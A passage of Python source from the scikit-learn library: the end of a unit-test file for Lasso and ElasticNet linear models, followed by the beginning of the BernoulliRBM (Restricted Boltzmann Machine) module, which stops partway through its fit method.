    assert_almost_equal(clf.dual_gap_, 0)

    clf = Lasso(alpha=1)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [.0])
    assert_array_almost_equal(pred, [0, 0, 0])
    assert_almost_equal(clf.dual_gap_, 0)


def test_enet_toy():
    # Test ElasticNet for various parameters of alpha and l1_ratio.
    # Actually, the parameters alpha = 0 should not be allowed. However,
    # we test it as a border case.
    # ElasticNet is tested with and without precomputed Gram matrix

    X = np.array([[-1.], [0.], [1.]])
    Y = [-1, 0, 1]       # just a straight line
    T = [[2.], [3.], [4.]]  # test sample

    # this should be the same as lasso
    clf = ElasticNet(alpha=1e-8, l1_ratio=1.0)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [1])
    assert_array_almost_equal(pred, [2, 3, 4])
    assert_almost_equal(clf.dual_gap_, 0)

    clf = ElasticNet(alpha=0.5, l1_ratio=0.3, max_iter=100,
                     precompute=False)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.50819], decimal=3)
    assert_array_almost_equal(pred, [1.0163, 1.5245, 2.0327], decimal=3)
    assert_almost_equal(clf.dual_gap_, 0)

    clf.set_params(max_iter=100, precompute=True)
    clf.fit(X, Y)  # with Gram
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.50819], decimal=3)
    assert_array_almost_equal(pred, [1.0163, 1.5245, 2.0327], decimal=3)
    assert_almost_equal(clf.dual_gap_, 0)

    clf.set_params(max_iter=100, precompute=np.dot(X.T, X))
    clf.fit(X, Y)  # with Gram
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.50819], decimal=3)
    assert_array_almost_equal(pred, [1.0163, 1.5245, 2.0327], decimal=3)
    assert_almost_equal(clf.dual_gap_, 0)

    clf = ElasticNet(alpha=0.5, l1_ratio=0.5)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.45454], 3)
    assert_array_almost_equal(pred, [0.9090, 1.3636, 1.8181], 3)
    assert_almost_equal(clf.dual_gap_, 0)


def build_dataset(n_samples=50, n_features=200, n_informative_features=10,
                  n_targets=1):
    """
    build an ill-posed linear regression problem with many noisy features and
    comparatively few samples
    """
    random_state = np.random.RandomState(0)
    if n_targets > 1:
        w = random_state.randn(n_features, n_targets)
    else:
        w = random_state.randn(n_features)
    w[n_informative_features:] = 0.0
    X = random_state.randn(n_samples, n_features)
    y = np.dot(X, w)
    X_test = random_state.randn(n_samples, n_features)
    y_test = np.dot(X_test, w)
    return X, y, X_test, y_test


def test_lasso_cv():
    X, y, X_test, y_test = build_dataset()
    max_iter = 150
    clf = LassoCV(n_alphas=10, eps=1e-3, max_iter=max_iter).fit(X, y)
    assert_almost_equal(clf.alpha_, 0.056, 2)

    clf = LassoCV(n_alphas=10, eps=1e-3, max_iter=max_iter, precompute=True)
    clf.fit(X, y)
    assert_almost_equal(clf.alpha_, 0.056, 2)

    # Check that the lars and the coordinate descent implementation
    # select a similar alpha
    lars = LassoLarsCV(normalize=False, max_iter=30).fit(X, y)
    # for this we check that they don't fall in the grid of
    # clf.alphas further than 1
    assert_true(np.abs(
        np.searchsorted(clf.alphas_[::-1], lars.alpha_) -
        np.searchsorted(clf.alphas_[::-1], clf.alpha_)) <= 1)
    # check that they also give a similar MSE
    mse_lars = interpolate.interp1d(lars.cv_alphas_, lars.cv_mse_path_.T)
    np.testing.assert_approx_equal(mse_lars(clf.alphas_[5]).mean(),
                                   clf.mse_path_[5].mean(), significant=2)

    # test set
    assert_greater(clf.score(X_test, y_test), 0.99)


def test_lasso_cv_positive_constraint():
    X, y, X_test, y_test = build_dataset()
    max_iter = 500

    # Ensure the unconstrained fit has a negative coefficient
    clf_unconstrained = LassoCV(n_alphas=3, eps=1e-1, max_iter=max_iter, cv=2,
                                n_jobs=1)
    clf_unconstrained.fit(X, y)
    assert_true(min(clf_unconstrained.coef_) < 0)

    # On same data, constrained fit has non-negative coefficients
    clf_constrained = LassoCV(n_alphas=3, eps=1e-1, max_iter=max_iter,
                              positive=True, cv=2, n_jobs=1)
    clf_constrained.fit(X, y)
    assert_true(min(clf_constrained.coef_) >= 0)


def test_lasso_path_return_models_vs_new_return_gives_same_coefficients():
    # Test that lasso_path with lars_path style output gives the
    # same result

    # Some toy data
    X = np.array([[1, 2, 3.1], [2.3, 5.4, 4.3]]).T
    y = np.array([1, 2, 3.1])
    alphas = [5., 1., .5]

    # Use lars_path and lasso_path(new output) with 1D linear interpolation
    # to compute the same path
    alphas_lars, _, coef_path_lars = lars_path(X, y, method='lasso')
    coef_path_cont_lars = interpolate.interp1d(alphas_lars[::-1],
                                               coef_path_lars[:, ::-1])
    alphas_lasso2, coef_path_lasso2, _ = lasso_path(X, y, alphas=alphas,
                                                    return_models=False)
    coef_path_cont_lasso = interpolate.interp1d(alphas_lasso2[::-1],
                                                coef_path_lasso2[:, ::-1])

    assert_array_almost_equal(
        coef_path_cont_lasso(alphas), coef_path_cont_lars(alphas),
        decimal=1)


def test_enet_path():
    # We use a large number of samples and of informative features so that
    # the l1_ratio selected is more toward ridge than lasso
    X, y, X_test, y_test = build_dataset(n_samples=200, n_features=100,
                                         n_informative_features=100)
    max_iter = 150

    # Here we have a small number of iterations, and thus the
    # ElasticNet might not converge. This is to speed up tests
    clf = ElasticNetCV(alphas=[0.01, 0.05, 0.1], eps=2e-3,
                       l1_ratio=[0.5, 0.7], cv=3,
                       max_iter=max_iter)
    ignore_warnings(clf.fit)(X, y)
    # Well-conditioned settings, we should have selected our
    # smallest penalty
    assert_almost_equal(clf.alpha_, min(clf.alphas_))
    # Non-sparse ground truth: we should have selected an elastic-net
    # that is closer to ridge than to lasso
    assert_equal(clf.l1_ratio_, min(clf.l1_ratio))

    clf = ElasticNetCV(alphas=[0.01, 0.05, 0.1], eps=2e-3,
                       l1_ratio=[0.5, 0.7], cv=3,
                       max_iter=max_iter, precompute=True)
    ignore_warnings(clf.fit)(X, y)

    # Well-conditioned settings, we should have selected our
    # smallest penalty
    assert_almost_equal(clf.alpha_, min(clf.alphas_))
    # Non-sparse ground truth: we should have selected an elastic-net
    # that is closer to ridge than to lasso
    assert_equal(clf.l1_ratio_, min(clf.l1_ratio))

    # We are in well-conditioned settings with low noise: we should
    # have a good test-set performance
    assert_greater(clf.score(X_test, y_test), 0.99)

    # Multi-output/target case
    X, y, X_test, y_test = build_dataset(n_features=10, n_targets=3)
    clf = MultiTaskElasticNetCV(n_alphas=5, eps=2e-3, l1_ratio=[0.5, 0.7],
                                cv=3, max_iter=max_iter)
    ignore_warnings(clf.fit)(X, y)
    # We are in well-conditioned settings with low noise: we should
    # have a good test-set performance
    assert_greater(clf.score(X_test, y_test), 0.99)
    assert_equal(clf.coef_.shape, (3, 10))

    # Mono-output should have same cross-validated alpha_ and l1_ratio_
    # in both cases.
    X, y, _, _ = build_dataset(n_features=10)
    clf1 = ElasticNetCV(n_alphas=5, eps=2e-3, l1_ratio=[0.5, 0.7])
    clf1.fit(X, y)
    clf2 = MultiTaskElasticNetCV(n_alphas=5, eps=2e-3, l1_ratio=[0.5, 0.7])
    clf2.fit(X, y[:, np.newaxis])
    assert_almost_equal(clf1.l1_ratio_, clf2.l1_ratio_)
    assert_almost_equal(clf1.alpha_, clf2.alpha_)


def test_path_parameters():
    X, y, _, _ = build_dataset()
    max_iter = 100

    clf = ElasticNetCV(n_alphas=50, eps=1e-3, max_iter=max_iter,
                       l1_ratio=0.5, tol=1e-3)
    clf.fit(X, y)  # new params
    assert_almost_equal(0.5, clf.l1_ratio)
    assert_equal(50, clf.n_alphas)
    assert_equal(50, len(clf.alphas_))


def test_warm_start():
    X, y, _, _ = build_dataset()
    clf = ElasticNet(alpha=0.1, max_iter=5, warm_start=True)
    ignore_warnings(clf.fit)(X, y)
    ignore_warnings(clf.fit)(X, y)  # do a second round with 5 iterations

    clf2 = ElasticNet(alpha=0.1, max_iter=10)
    ignore_warnings(clf2.fit)(X, y)
    assert_array_almost_equal(clf2.coef_, clf.coef_)


def test_lasso_alpha_warning():
    X = [[-1], [0], [1]]
    Y = [-1, 0, 1]       # just a straight line

    clf = Lasso(alpha=0)
    assert_warns(UserWarning, clf.fit, X, Y)


def test_lasso_positive_constraint():
    X = [[-1], [0], [1]]
    y = [1, 0, -1]       # just a straight line with negative slope

    lasso = Lasso(alpha=0.1, max_iter=1000, positive=True)
    lasso.fit(X, y)
    assert_true(min(lasso.coef_) >= 0)

    lasso = Lasso(alpha=0.1, max_iter=1000, precompute=True, positive=True)
    lasso.fit(X, y)
    assert_true(min(lasso.coef_) >= 0)


def test_enet_positive_constraint():
    X = [[-1], [0], [1]]
    y = [1, 0, -1]       # just a straight line with negative slope

    enet = ElasticNet(alpha=0.1, max_iter=1000, positive=True)
    enet.fit(X, y)
    assert_true(min(enet.coef_) >= 0)


def test_enet_cv_positive_constraint():
    X, y, X_test, y_test = build_dataset()
    max_iter = 500

    # Ensure the unconstrained fit has a negative coefficient
    enetcv_unconstrained = ElasticNetCV(n_alphas=3, eps=1e-1,
                                        max_iter=max_iter,
                                        cv=2, n_jobs=1)
    enetcv_unconstrained.fit(X, y)
    assert_true(min(enetcv_unconstrained.coef_) < 0)

    # On same data, constrained fit has non-negative coefficients
    enetcv_constrained = ElasticNetCV(n_alphas=3, eps=1e-1, max_iter=max_iter,
                                      cv=2, positive=True, n_jobs=1)
    enetcv_constrained.fit(X, y)
    assert_true(min(enetcv_constrained.coef_) >= 0)


def test_uniform_targets():
    enet = ElasticNetCV(fit_intercept=True, n_alphas=3)
    m_enet = MultiTaskElasticNetCV(fit_intercept=True, n_alphas=3)
    lasso = LassoCV(fit_intercept=True, n_alphas=3)
    m_lasso = MultiTaskLassoCV(fit_intercept=True, n_alphas=3)

    models_single_task = (enet, lasso)
    models_multi_task = (m_enet, m_lasso)

    rng = np.random.RandomState(0)

    X_train = rng.random_sample(size=(10, 3))
    X_test = rng.random_sample(size=(10, 3))

    y1 = np.empty(10)
    y2 = np.empty((10, 2))

    for model in models_single_task:
        for y_values in (0, 5):
            y1.fill(y_values)
            assert_array_equal(model.fit(X_train, y1).predict(X_test), y1)
            assert_array_equal(model.alphas_, [np.finfo(float).resolution]*3)

    for model in models_multi_task:
        for y_values in (0, 5):
            y2[:, 0].fill(y_values)
            y2[:, 1].fill(2 * y_values)
            assert_array_equal(model.fit(X_train, y2).predict(X_test), y2)
            assert_array_equal(model.alphas_, [np.finfo(float).resolution]*3)


def test_multi_task_lasso_and_enet():
    X, y, X_test, y_test = build_dataset()
    Y = np.c_[y, y]
    # Y_test = np.c_[y_test, y_test]
    clf = MultiTaskLasso(alpha=1, tol=1e-8).fit(X, Y)
    assert_true(0 < clf.dual_gap_ < 1e-5)
    assert_array_almost_equal(clf.coef_[0], clf.coef_[1])

    clf = MultiTaskElasticNet(alpha=1, tol=1e-8).fit(X, Y)
    assert_true(0 < clf.dual_gap_ < 1e-5)
    assert_array_almost_equal(clf.coef_[0], clf.coef_[1])


def test_lasso_readonly_data():
    X = np.array([[-1], [0], [1]])
    Y = np.array([-1, 0, 1])   # just a straight line
    T = np.array([[2], [3], [4]])  # test sample
    with TempMemmap((X, Y)) as (X, Y):
        clf = Lasso(alpha=0.5)
        clf.fit(X, Y)
        pred = clf.predict(T)
        assert_array_almost_equal(clf.coef_, [.25])
        assert_array_almost_equal(pred, [0.5, 0.75, 1.])
        assert_almost_equal(clf.dual_gap_, 0)


def test_multi_task_lasso_readonly_data():
    X, y, X_test, y_test = build_dataset()
    Y = np.c_[y, y]
    with TempMemmap((X, Y)) as (X, Y):
        Y = np.c_[y, y]
        clf = MultiTaskLasso(alpha=1, tol=1e-8).fit(X, Y)
        assert_true(0 < clf.dual_gap_ < 1e-5)
        assert_array_almost_equal(clf.coef_[0], clf.coef_[1])


def test_enet_multitarget():
    n_targets = 3
    X, y, _, _ = build_dataset(n_samples=10, n_features=8,
                               n_informative_features=10, n_targets=n_targets)
    estimator = ElasticNet(alpha=0.01, fit_intercept=True)
    estimator.fit(X, y)
    coef, intercept, dual_gap = (estimator.coef_, estimator.intercept_,
                                 estimator.dual_gap_)

    for k in range(n_targets):
        estimator.fit(X, y[:, k])
        assert_array_almost_equal(coef[k, :], estimator.coef_)
        assert_array_almost_equal(intercept[k], estimator.intercept_)
        assert_array_almost_equal(dual_gap[k], estimator.dual_gap_)


def test_multioutput_enetcv_error():
    X = np.random.randn(10, 2)
    y = np.random.randn(10, 2)
    clf = ElasticNetCV()
    assert_raises(ValueError, clf.fit, X, y)


def test_multitask_enet_and_lasso_cv():
    X, y, _, _ = build_dataset(n_features=50, n_targets=3)
    clf = MultiTaskElasticNetCV().fit(X, y)
    assert_almost_equal(clf.alpha_, 0.00556, 3)
    clf = MultiTaskLassoCV().fit(X, y)
    assert_almost_equal(clf.alpha_, 0.00278, 3)

    X, y, _, _ = build_dataset(n_targets=3)
    clf = MultiTaskElasticNetCV(n_alphas=10, eps=1e-3, max_iter=100,
                                l1_ratio=[0.3, 0.5], tol=1e-3)
    clf.fit(X, y)
    assert_equal(0.5, clf.l1_ratio_)
    assert_equal((3, X.shape[1]), clf.coef_.shape)
    assert_equal((3, ), clf.intercept_.shape)
    assert_equal((2, 10, 3), clf.mse_path_.shape)
    assert_equal((2, 10), clf.alphas_.shape)

    X, y, _, _ = build_dataset(n_targets=3)
    clf = MultiTaskLassoCV(n_alphas=10, eps=1e-3, max_iter=100, tol=1e-3)
    clf.fit(X, y)
    assert_equal((3, X.shape[1]), clf.coef_.shape)
    assert_equal((3, ), clf.intercept_.shape)
    assert_equal((10, 3), clf.mse_path_.shape)
    assert_equal(10, len(clf.alphas_))


def test_1d_multioutput_enet_and_multitask_enet_cv():
    X, y, _, _ = build_dataset(n_features=10)
    y = y[:, np.newaxis]
    clf = ElasticNetCV(n_alphas=5, eps=2e-3, l1_ratio=[0.5, 0.7])
    clf.fit(X, y[:, 0])
    clf1 = MultiTaskElasticNetCV(n_alphas=5, eps=2e-3, l1_ratio=[0.5, 0.7])
    clf1.fit(X, y)
    assert_almost_equal(clf.l1_ratio_, clf1.l1_ratio_)
    assert_almost_equal(clf.alpha_, clf1.alpha_)
    assert_almost_equal(clf.coef_, clf1.coef_[0])
    assert_almost_equal(clf.intercept_, clf1.intercept_[0])


def test_1d_multioutput_lasso_and_multitask_lasso_cv():
    X, y, _, _ = build_dataset(n_features=10)
    y = y[:, np.newaxis]
    clf = LassoCV(n_alphas=5, eps=2e-3)
    clf.fit(X, y[:, 0])
    clf1 = MultiTaskLassoCV(n_alphas=5, eps=2e-3)
    clf1.fit(X, y)
    assert_almost_equal(clf.alpha_, clf1.alpha_)
    assert_almost_equal(clf.coef_, clf1.coef_[0])
    assert_almost_equal(clf.intercept_, clf1.intercept_[0])


def test_sparse_input_dtype_enet_and_lassocv():
    X, y, _, _ = build_dataset(n_features=10)
    clf = ElasticNetCV(n_alphas=5)
    clf.fit(sparse.csr_matrix(X), y)
    clf1 = ElasticNetCV(n_alphas=5)
    clf1.fit(sparse.csr_matrix(X, dtype=np.float32), y)
    assert_almost_equal(clf.alpha_, clf1.alpha_, decimal=6)
    assert_almost_equal(clf.coef_, clf1.coef_, decimal=6)

    clf = LassoCV(n_alphas=5)
    clf.fit(sparse.csr_matrix(X), y)
    clf1 = LassoCV(n_alphas=5)
    clf1.fit(sparse.csr_matrix(X, dtype=np.float32), y)
    assert_almost_equal(clf.alpha_, clf1.alpha_, decimal=6)
    assert_almost_equal(clf.coef_, clf1.coef_, decimal=6)


def test_precompute_invalid_argument():
    X, y, _, _ = build_dataset()
    for clf in [ElasticNetCV(precompute="invalid"),
                LassoCV(precompute="invalid")]:
        assert_raises_regex(ValueError, ".*should be.*True.*False.*auto.*"
                            "array-like.*Got 'invalid'", clf.fit, X, y)

    # Precompute = 'auto' is not supported for ElasticNet
    assert_raises_regex(ValueError, ".*should be.*True.*False.*array-like.*"
                        "Got 'auto'", ElasticNet(precompute='auto').fit, X, y)


def test_warm_start_convergence():
    X, y, _, _ = build_dataset()
    model = ElasticNet(alpha=1e-3, tol=1e-3).fit(X, y)
    n_iter_reference = model.n_iter_

    # This dataset is not trivial enough for the model to converge in one pass.
    assert_greater(n_iter_reference, 2)

    # Check that n_iter_ is invariant to multiple calls to fit
    # when warm_start=False, all else being equal.
    model.fit(X, y)
    n_iter_cold_start = model.n_iter_
    assert_equal(n_iter_cold_start, n_iter_reference)

    # Fit the same model again, using a warm start: the optimizer just performs
    # a single pass before checking that it has already converged
    model.set_params(warm_start=True)
    model.fit(X, y)
    n_iter_warm_start = model.n_iter_
    assert_equal(n_iter_warm_start, 1)


def test_warm_start_convergence_with_regularizer_decrement():
    boston = load_boston()
    X, y = boston.data, boston.target

    # Train a model to converge on a lightly regularized problem
    final_alpha = 1e-5
    low_reg_model = ElasticNet(alpha=final_alpha).fit(X, y)

    # Fitting a new model on a more regularized version of the same problem.
    # Fitting with high regularization is easier it should converge faster
    # in general.
    high_reg_model = ElasticNet(alpha=final_alpha * 10).fit(X, y)
    assert_greater(low_reg_model.n_iter_, high_reg_model.n_iter_)

    # Fit the solution to the original, less regularized version of the
    # problem but from the solution of the highly regularized variant of
    # the problem as a better starting point. This should also converge
    # faster than the original model that starts from zero.
    warm_low_reg_model = deepcopy(high_reg_model)
    warm_low_reg_model.set_params(warm_start=True, alpha=final_alpha)
    warm_low_reg_model.fit(X, y)
    assert_greater(low_reg_model.n_iter_, warm_low_reg_model.n_iter_)


def test_random_descent():
    # Test that both random and cyclic selection give the same results.
    # Ensure that the test models fully converge and check a wide
    # range of conditions.

    # This uses the coordinate descent algo using the gram trick.
    X, y, _, _ = build_dataset(n_samples=50, n_features=20)
    clf_cyclic = ElasticNet(selection='cyclic', tol=1e-8)
    clf_cyclic.fit(X, y)
    clf_random = ElasticNet(selection='random', tol=1e-8, random_state=42)
    clf_random.fit(X, y)
    assert_array_almost_equal(clf_cyclic.coef_, clf_random.coef_)
    assert_almost_equal(clf_cyclic.intercept_, clf_random.intercept_)

    # This uses the descent algo without the gram trick
    clf_cyclic = ElasticNet(selection='cyclic', tol=1e-8)
    clf_cyclic.fit(X.T, y[:20])
    clf_random = ElasticNet(selection='random', tol=1e-8, random_state=42)
    clf_random.fit(X.T, y[:20])
    assert_array_almost_equal(clf_cyclic.coef_, clf_random.coef_)
    assert_almost_equal(clf_cyclic.intercept_, clf_random.intercept_)

    # Sparse Case
    clf_cyclic = ElasticNet(selection='cyclic', tol=1e-8)
    clf_cyclic.fit(sparse.csr_matrix(X), y)
    clf_random = ElasticNet(selection='random', tol=1e-8, random_state=42)
    clf_random.fit(sparse.csr_matrix(X), y)
    assert_array_almost_equal(clf_cyclic.coef_, clf_random.coef_)
    assert_almost_equal(clf_cyclic.intercept_, clf_random.intercept_)

    # Multioutput case.
    new_y = np.hstack((y[:, np.newaxis], y[:, np.newaxis]))
    clf_cyclic = MultiTaskElasticNet(selection='cyclic', tol=1e-8)
    clf_cyclic.fit(X, new_y)
    clf_random = MultiTaskElasticNet(selection='random', tol=1e-8,
                                     random_state=42)
    clf_random.fit(X, new_y)
    assert_array_almost_equal(clf_cyclic.coef_, clf_random.coef_)
    assert_almost_equal(clf_cyclic.intercept_, clf_random.intercept_)

    # Raise error when selection is not in cyclic or random.
    clf_random = ElasticNet(selection='invalid')
    assert_raises(ValueError, clf_random.fit, X, y)


def test_enet_path_positive():
    # Test that the coefs returned by positive=True in enet_path are positive

    X, y, _, _ = build_dataset(n_samples=50, n_features=50)
    for path in [enet_path, lasso_path]:
        pos_path_coef = path(X, y, positive=True)[1]
        assert_true(np.all(pos_path_coef >= 0))


def test_sparse_dense_descent_paths():
    # Test that dense and sparse input give the same input for descent paths.
    X, y, _, _ = build_dataset(n_samples=50, n_features=20)
    csr = sparse.csr_matrix(X)
    for path in [enet_path, lasso_path]:
        _, coefs, _ = path(X, y, fit_intercept=False)
        _, sparse_coefs, _ = path(csr, y, fit_intercept=False)
        assert_array_almost_equal(coefs, sparse_coefs)


def test_check_input_false():
    X, y, _, _ = build_dataset(n_samples=20, n_features=10)
    X = check_array(X, order='F', dtype='float64')
    y = check_array(X, order='F', dtype='float64')
    clf = ElasticNet(selection='cyclic', tol=1e-8)
    # Check that no error is raised if data is provided in the right format
    clf.fit(X, y, check_input=False)
    X = check_array(X, order='F', dtype='float32')
    clf.fit(X, y, check_input=True)
    # Check that an error is raised if data is provided in the wrong dtype,
    # because of check bypassing
    assert_raises(ValueError, clf.fit, X, y, check_input=False)

    # With no input checking, providing X in C order should result in false
    # computation
    X = check_array(X, order='C', dtype='float64')
    assert_raises(ValueError, clf.fit, X, y, check_input=False)


def test_overrided_gram_matrix():
    X, y, _, _ = build_dataset(n_samples=20, n_features=10)
    Gram = X.T.dot(X)
    clf = ElasticNet(selection='cyclic', tol=1e-8, precompute=Gram,
                     fit_intercept=True)
    assert_warns_message(UserWarning,
                         "Gram matrix was provided but X was centered"
                         " to fit intercept, "
                         "or X was normalized : recomputing Gram matrix.",
                         clf.fit, X, y)


def test_lasso_non_float_y():
    X = [[0, 0], [1, 1], [-1, -1]]
    y = [0, 1, 2]
    y_float = [0.0, 1.0, 2.0]

    for model in [ElasticNet, Lasso]:
        clf = model(fit_intercept=False)
        clf.fit(X, y)
        clf_float = model(fit_intercept=False)
        clf_float.fit(X, y_float)
        assert_array_equal(clf.coef_, clf_float.coef_)






"""Restricted Boltzmann Machine
"""

# Authors: Yann N. Dauphin <dauphiya@iro.umontreal.ca>
#          Vlad Niculae
#          Gabriel Synnaeve
#          Lars Buitinck
# License: BSD 3 clause

import time

import numpy as np
import scipy.sparse as sp

from ..base import BaseEstimator
from ..base import TransformerMixin
from ..externals.six.moves import xrange
from ..utils import check_array
from ..utils import check_random_state
from ..utils import gen_even_slices
from ..utils import issparse
from ..utils.extmath import safe_sparse_dot
from ..utils.extmath import log_logistic
from ..utils.fixes import expit             # logistic function
from ..utils.validation import check_is_fitted


class BernoulliRBM(BaseEstimator, TransformerMixin):
    """Bernoulli Restricted Boltzmann Machine (RBM).

    A Restricted Boltzmann Machine with binary visible units and
    binary hidden units. Parameters are estimated using Stochastic Maximum
    Likelihood (SML), also known as Persistent Contrastive Divergence (PCD)
    [2].

    The time complexity of this implementation is ``O(d ** 2)`` assuming
    d ~ n_features ~ n_components.

    Read more in the :ref:`User Guide <rbm>`.

    Parameters
    ----------
    n_components : int, optional
        Number of binary hidden units.

    learning_rate : float, optional
        The learning rate for weight updates. It is *highly* recommended
        to tune this hyper-parameter. Reasonable values are in the
        10**[0., -3.] range.

    batch_size : int, optional
        Number of examples per minibatch.

    n_iter : int, optional
        Number of iterations/sweeps over the training dataset to perform
        during training.

    verbose : int, optional
        The verbosity level. The default, zero, means silent mode.

    random_state : integer or numpy.RandomState, optional
        A random number generator instance to define the state of the
        random permutations generator. If an integer is given, it fixes the
        seed. Defaults to the global numpy random number generator.

    Attributes
    ----------
    intercept_hidden_ : array-like, shape (n_components,)
        Biases of the hidden units.

    intercept_visible_ : array-like, shape (n_features,)
        Biases of the visible units.

    components_ : array-like, shape (n_components, n_features)
        Weight matrix, where n_features in the number of
        visible units and n_components is the number of hidden units.

    Examples
    --------

    >>> import numpy as np
    >>> from sklearn.neural_network import BernoulliRBM
    >>> X = np.array([[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 1]])
    >>> model = BernoulliRBM(n_components=2)
    >>> model.fit(X)
    BernoulliRBM(batch_size=10, learning_rate=0.1, n_components=2, n_iter=10,
           random_state=None, verbose=0)

    References
    ----------

    [1] Hinton, G. E., Osindero, S. and Teh, Y. A fast learning algorithm for
        deep belief nets. Neural Computation 18, pp 1527-1554.
        http://www.cs.toronto.edu/~hinton/absps/fastnc.pdf

    [2] Tieleman, T. Training Restricted Boltzmann Machines using
        Approximations to the Likelihood Gradient. International Conference
        on Machine Learning (ICML) 2008
    """
    def __init__(self, n_components=256, learning_rate=0.1, batch_size=10,
                 n_iter=10, verbose=0, random_state=None):
        self.n_components = n_components
        self.learning_rate = learning_rate
        self.batch_size = batch_size
        self.n_iter = n_iter
        self.verbose = verbose
        self.random_state = random_state

    def transform(self, X):
        """Compute the hidden layer activation probabilities, P(h=1|v=X).

        Parameters
        ----------
        X : {array-like, sparse matrix} shape (n_samples, n_features)
            The data to be transformed.

        Returns
        -------
        h : array, shape (n_samples, n_components)
            Latent representations of the data.
        """
        check_is_fitted(self, "components_")

        X = check_array(X, accept_sparse='csr', dtype=np.float64)
        return self._mean_hiddens(X)

    def _mean_hiddens(self, v):
        """Computes the probabilities P(h=1|v).

        Parameters
        ----------
        v : array-like, shape (n_samples, n_features)
            Values of the visible layer.

        Returns
        -------
        h : array-like, shape (n_samples, n_components)
            Corresponding mean field values for the hidden layer.
        """
        p = safe_sparse_dot(v, self.components_.T)
        p += self.intercept_hidden_
        return expit(p, out=p)

    def _sample_hiddens(self, v, rng):
        """Sample from the distribution P(h|v).

        Parameters
        ----------
        v : array-like, shape (n_samples, n_features)
            Values of the visible layer to sample from.

        rng : RandomState
            Random number generator to use.

        Returns
        -------
        h : array-like, shape (n_samples, n_components)
            Values of the hidden layer.
        """
        p = self._mean_hiddens(v)
        return (rng.random_sample(size=p.shape) < p)

    def _sample_visibles(self, h, rng):
        """Sample from the distribution P(v|h).

        Parameters
        ----------
        h : array-like, shape (n_samples, n_components)
            Values of the hidden layer to sample from.

        rng : RandomState
            Random number generator to use.

        Returns
        -------
        v : array-like, shape (n_samples, n_features)
            Values of the visible layer.
        """
        p = np.dot(h, self.components_)
        p += self.intercept_visible_
        expit(p, out=p)
        return (rng.random_sample(size=p.shape) < p)

    def _free_energy(self, v):
        """Computes the free energy F(v) = - log sum_h exp(-E(v,h)).

        Parameters
        ----------
        v : array-like, shape (n_samples, n_features)
            Values of the visible layer.

        Returns
        -------
        free_energy : array-like, shape (n_samples,)
            The value of the free energy.
        """
        return (- safe_sparse_dot(v, self.intercept_visible_)
                - np.logaddexp(0, safe_sparse_dot(v, self.components_.T)
                               + self.intercept_hidden_).sum(axis=1))

    def gibbs(self, v):
        """Perform one Gibbs sampling step.

        Parameters
        ----------
        v : array-like, shape (n_samples, n_features)
            Values of the visible layer to start from.

        Returns
        -------
        v_new : array-like, shape (n_samples, n_features)
            Values of the visible layer after one Gibbs step.
        """
        check_is_fitted(self, "components_")
        if not hasattr(self, "random_state_"):
            self.random_state_ = check_random_state(self.random_state)
        h_ = self._sample_hiddens(v, self.random_state_)
        v_ = self._sample_visibles(h_, self.random_state_)

        return v_

    def partial_fit(self, X, y=None):
        """Fit the model to the data X which should contain a partial
        segment of the data.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        Returns
        -------
        self : BernoulliRBM
            The fitted model.
        """
        X = check_array(X, accept_sparse='csr', dtype=np.float64)
        if not hasattr(self, 'random_state_'):
            self.random_state_ = check_random_state(self.random_state)
        if not hasattr(self, 'components_'):
            self.components_ = np.asarray(
                self.random_state_.normal(
                    0,
                    0.01,
                    (self.n_components, X.shape[1])
                ),
                order='fortran')
        if not hasattr(self, 'intercept_hidden_'):
            self.intercept_hidden_ = np.zeros(self.n_components, )
        if not hasattr(self, 'intercept_visible_'):
            self.intercept_visible_ = np.zeros(X.shape[1], )
        if not hasattr(self, 'h_samples_'):
            self.h_samples_ = np.zeros((self.batch_size, self.n_components))

        self._fit(X, self.random_state_)

    def _fit(self, v_pos, rng):
        """Inner fit for one mini-batch.

        Adjust the parameters to maximize the likelihood of v using
        Stochastic Maximum Likelihood (SML).

        Parameters
        ----------
        v_pos : array-like, shape (n_samples, n_features)
            The data to use for training.

        rng : RandomState
            Random number generator to use for sampling.
        """
        h_pos = self._mean_hiddens(v_pos)
        v_neg = self._sample_visibles(self.h_samples_, rng)
        h_neg = self._mean_hiddens(v_neg)

        lr = float(self.learning_rate) / v_pos.shape[0]
        update = safe_sparse_dot(v_pos.T, h_pos, dense_output=True).T
        update -= np.dot(h_neg.T, v_neg)
        self.components_ += lr * update
        self.intercept_hidden_ += lr * (h_pos.sum(axis=0) - h_neg.sum(axis=0))
        self.intercept_visible_ += lr * (np.asarray(
                                         v_pos.sum(axis=0)).squeeze() -
                                         v_neg.sum(axis=0))

        h_neg[rng.uniform(size=h_neg.shape) < h_neg] = 1.0  # sample binomial
        self.h_samples_ = np.floor(h_neg, h_neg)

    def score_samples(self, X):
        """Compute the pseudo-likelihood of X.

        Parameters
        ----------
        X : {array-like, sparse matrix} shape (n_samples, n_features)
            Values of the visible layer. Must be all-boolean (not checked).

        Returns
        -------
        pseudo_likelihood : array-like, shape (n_samples,)
            Value of the pseudo-likelihood (proxy for likelihood).

        Notes
        -----
        This method is not deterministic: it computes a quantity called the
        free energy on X, then on a randomly corrupted version of X, and
        returns the log of the logistic function of the difference.
        """
        check_is_fitted(self, "components_")

        v = check_array(X, accept_sparse='csr')
        rng = check_random_state(self.random_state)

        # Randomly corrupt one feature in each sample in v.
        ind = (np.arange(v.shape[0]),
               rng.randint(0, v.shape[1], v.shape[0]))
        if issparse(v):
            data = -2 * v[ind] + 1
            v_ = v + sp.csr_matrix((data.A.ravel(), ind), shape=v.shape)
        else:
            v_ = v.copy()
            v_[ind] = 1 - v_[ind]

        fe = self._free_energy(v)
        fe_ = self._free_energy(v_)
        return v.shape[1] * log_logistic(fe_ - fe)

    def fit(self, X, y=None):
        """Fit the model to the data X.

        Parameters
        ----------
        X : {array-like, sparse matrix} shape (n_samples, n_features)
            Training data.

        Returns
        -------
        self : BernoulliRBM
            The fitted model.
        """
        X = check_array(X, accept_sparse='csr', dtype=np.float64)
        n_samples = X.shape[0]
        rng = check_random_state(self.random_state)

        self.components_ = np.asarray(
